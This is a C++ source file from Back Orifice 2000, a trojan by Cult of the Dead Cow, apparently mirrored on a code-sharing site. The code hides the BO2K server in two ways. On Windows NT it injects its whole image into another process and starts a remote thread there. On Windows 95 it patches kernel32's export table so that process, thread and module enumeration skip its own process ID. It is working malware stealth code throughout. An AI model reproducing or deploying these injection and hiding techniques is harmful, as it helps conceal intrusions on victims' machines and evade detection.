process_hop.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:11k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<main.h>
  17. #include<bo_debug.h>
  18. #include<functions.h>
  19. #include<osversion.h>
  20. #include<dll_load.h>
  21. #include<pviewer.h>
  22. #include<process_hop.h>
  23. #include<config.h>
  24. // --------------------- Code to hide Win95 processes ----------------------
  25. void __declspec(naked) StartOfHappyCode(void)
  26. {
  27. }
  28. BOOL WINAPI FakeProcess32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
  29. {
  30. if(((PROCESSWALK)0x22222222)(hSnapshot, lppe)==FALSE) return FALSE;
  31. while(lppe->th32ProcessID==0x11111111) {
  32. if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;
  33. }
  34. return TRUE;
  35. }
  36. BOOL WINAPI FakeProcess32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe)
  37. {
  38. if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;
  39. while(lppe->th32ProcessID==0x11111111) {
  40. if(((PROCESSWALK)0x33333333)(hSnapshot, lppe)==FALSE) return FALSE;
  41. }
  42. return TRUE;
  43. }
  44. BOOL WINAPI FakeThread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
  45. {
  46. if(((THREADWALK)0x44444444)(hSnapshot, lpte)==FALSE) return FALSE;
  47. while(lpte->th32OwnerProcessID==0x11111111) {
  48. if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;
  49. }
  50. return TRUE;
  51. }
  52. BOOL WINAPI FakeThread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte)
  53. {
  54. if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;
  55. while(lpte->th32OwnerProcessID==0x11111111) {
  56. if(((THREADWALK)0x55555555)(hSnapshot, lpte)==FALSE) return FALSE;
  57. }
  58. return TRUE;
  59. }
  60. BOOL WINAPI FakeModule32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme)
  61. {
  62. if(((MODULEWALK)0x66666666)(hSnapshot, lpme)==FALSE) return FALSE;
  63. while(lpme->th32ProcessID==0x11111111) {
  64. if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;
  65. }
  66. return TRUE;
  67. }
  68. BOOL WINAPI FakeModule32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme)
  69. {
  70. if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;
  71. while(lpme->th32ProcessID==0x11111111) {
  72. if(((MODULEWALK)0x77777777)(hSnapshot, lpme)==FALSE) return FALSE;
  73. }
  74. return TRUE;
  75. }
  76. void __declspec(naked) EndOfHappyCode(void)
  77. {
  78. }
  79. BOOL SpawnBO2KThread(char *svProcess)
  80. {
  81. if(g_bIsWinNT) {  //---------------------- WINDOWS NT PROCESS HIDE -------------------
  82. // -------------------------------------------------------
  83. // -- Process Hiding Code                               
  84. // -- Note that there are several different ways to do  
  85. // -- what this code does. Both of the methods presented
  86. // -- below were written specifically to avoid accessing
  87. // -- the original BO2K image on disk.
  88. // -- This way, the original BO2K disk file can be compressed
  89. // -- with all of the plugin attachments inside, and
  90. // -- the original executable can be moved around/deleted
  91. // -- while the BO2K server still runs.
  92. // Get another process and thread id
  93. PROCESSINFO *ppie,*ppi=CreateProcListSnapshot(NULL);
  94. DWORD dwThreadID, dwProcID;
  95. for(ppie=ppi;ppie!=NULL;ppie=ppie->next) {
  96. if(lstrcmpi(ppie->svApp,svProcess)==0) break;
  97. }
  98. if(ppie==NULL) return FALSE;
  99. dwProcID=ppie->dwProcID;
  100. dwThreadID=ppie->pThread->dwThreadID; // Get first thread (doesn't really matter)
  101. DestroyProcListSnapshot(ppi);
  102. // Make sure we aren't hopping into ourselves
  103. if(GetCurrentProcessId()==dwProcID) return FALSE;
  104. // Open process to inject code into
  105. HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcID);
  106. if(hProc==NULL) {
  107. DebugMessageBox(NULL,"Unable to open process","ERROR",MB_SETFOREGROUND);
  108. return FALSE;
  109. }
  110. // Free space for BO2K (in case we are restarting)
  111. pVirtualFreeEx(hProc,g_module,0,MEM_RELEASE);
  112. // Allocate space for BO2K to fit in the process
  113. DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(g_module))->SizeOfImage;
  114. char *pMem=(char *)pVirtualAllocEx(hProc,g_module,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  115. if(pMem==NULL) {
  116. DebugMessageBox(NULL,"Couldn't VirtualAllocEx","Error",MB_SETFOREGROUND);
  117. return FALSE;
  118. }
  119. // Lets copy the entire bo2k process into this space.
  120. DWORD dwOldProt,dwNumBytes,i;
  121. MEMORY_BASIC_INFORMATION mbi;
  122. pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
  123. while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
  124. if(!(mbi.Protect & PAGE_GUARD)) {
  125. for(i=0;i<mbi.RegionSize;i+=0x1000) {
  126. pVirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
  127. WriteProcessMemory(hProc,pMem+i,pMem+i,0x1000,&dwNumBytes);
  128. }
  129. }
  130. pMem+=mbi.RegionSize;
  131. pVirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
  132. }
  133. // Create a remote thread in the other process
  134. DWORD dwRmtThdID;
  135. HANDLE hRmtThd=pCreateRemoteThread(hProc,NULL,0,EntryPoint,(LPVOID)g_module,0,&dwRmtThdID);
  136. if(hRmtThd==NULL) {
  137. DebugMessageBox(NULL,"Could create remote thread","ERROR",MB_SETFOREGROUND);
  138. return FALSE;
  139. }
  140. CloseHandle(hProc);
  141. return 0;
  142. } else { //---------------------------------- WINDOWS 95 PROCESS HIDE -------------
  143. // This one works differently because we don't necessarily have
  144. // the functionality to do a 'CreateRemoteThread()'. And for 
  145. // various reasons, hijacking another thread and changing its
  146. // context to do your bidding doens't really work. It's because
  147. // the thread you hijack may be blocked on a mutex/semaphore/etc
  148. // and won't resume execution to run your code until the blocking
  149. // ID is signaled by the system. So, we have to just hack kernel32.dll
  150. // to forget that our process exists :)
  151. // Start up PE Image Loader
  152. pRegisterServiceProcess(NULL,1);
  153. // Get undocumented VxDCall procedure
  154. HMODULE hModule=GetModuleHandle("kernel32.dll");
  155. FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);
  156. // Check for kernel32.dll export table
  157. PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);
  158. DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  159. if(dwSize==0) return NULL;
  160. // Good, we have an export table. Lets get it.
  161. PIMAGE_EXPORT_DIRECTORY ped;
  162. ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  163. // Change protection on kernel32.dll export table (make writable)
  164. // (can't use "VirtualProtect")
  165. DWORD dwFirstPage, dwNumPages;
  166. dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;
  167. dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;
  168. _asm {
  169. push 020060000h                 // PC_WRITEABLE | PC_USER | PC_STATIC
  170. push 0FFFFFFFFh                 // Keep all previous bits
  171. push dword ptr [dwNumPages]     // dword ptr [mbi+0Ch] # of pages
  172. push dword ptr [dwFirstPage]    // dword ptr [ped] page #
  173. push 1000Dh // _PageModifyPermissions (win32_service_table #)
  174. call dword ptr [VxDCall] // VxDCall0
  175. }
  176. // Fix kernel32.dll export table if I happened to fuck things
  177. // up earlier (run bo2k, crash out, and restart)
  178. SpawnCleanup();
  179. InitializeDLLLoad();
  180. // Get shared memory
  181. DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);
  182. LPVOID lpBase;
  183. lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  184. if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000;
  185. // Copy code into shared memory
  186. memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize);
  187. // Store procedure addresses
  188. DWORD dwOldAddress[6],dwCurPid;
  189. dwCurPid=GetCurrentProcessId();
  190. dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");
  191. dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");
  192. dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");
  193. dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");
  194. dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");
  195. dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next");
  196. // Modify code to correct addresses
  197. DWORD i;
  198. for(i=0;i<(dwCodeSize-4);i++) {
  199. DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);
  200. if     (*dwPtr==0x11111111) *dwPtr=dwCurPid;
  201. else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];
  202. else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];
  203. else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];
  204. else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];
  205. else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];
  206. else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];
  207. }
  208. // Now we modify the export table to point to our replacement code
  209. SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));
  210. SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));
  211. SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));
  212. SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));
  213. SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));
  214. SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next)));
  215. // Done with dll_load
  216. KillDLLLoad();
  217. EntryPoint(GetModuleHandle(NULL));
  218. SpawnCleanup();
  219. }
  220. return TRUE;
  221. }
  222. void SpawnCleanup(void)
  223. {
  224. if(!g_bIsWinNT) {
  225. InitializeDLLLoad();
  226. HMODULE hModule=GetModuleHandle("kernel32.dll");
  227. ResetDLLProcAddress(hModule,"Process32First");
  228. ResetDLLProcAddress(hModule,"Process32Next");
  229. ResetDLLProcAddress(hModule,"Thread32First");
  230. ResetDLLProcAddress(hModule,"Thread32Next");
  231. ResetDLLProcAddress(hModule,"Module32First");
  232. ResetDLLProcAddress(hModule,"Module32Next");
  233. KillDLLLoad();
  234. }
  235. }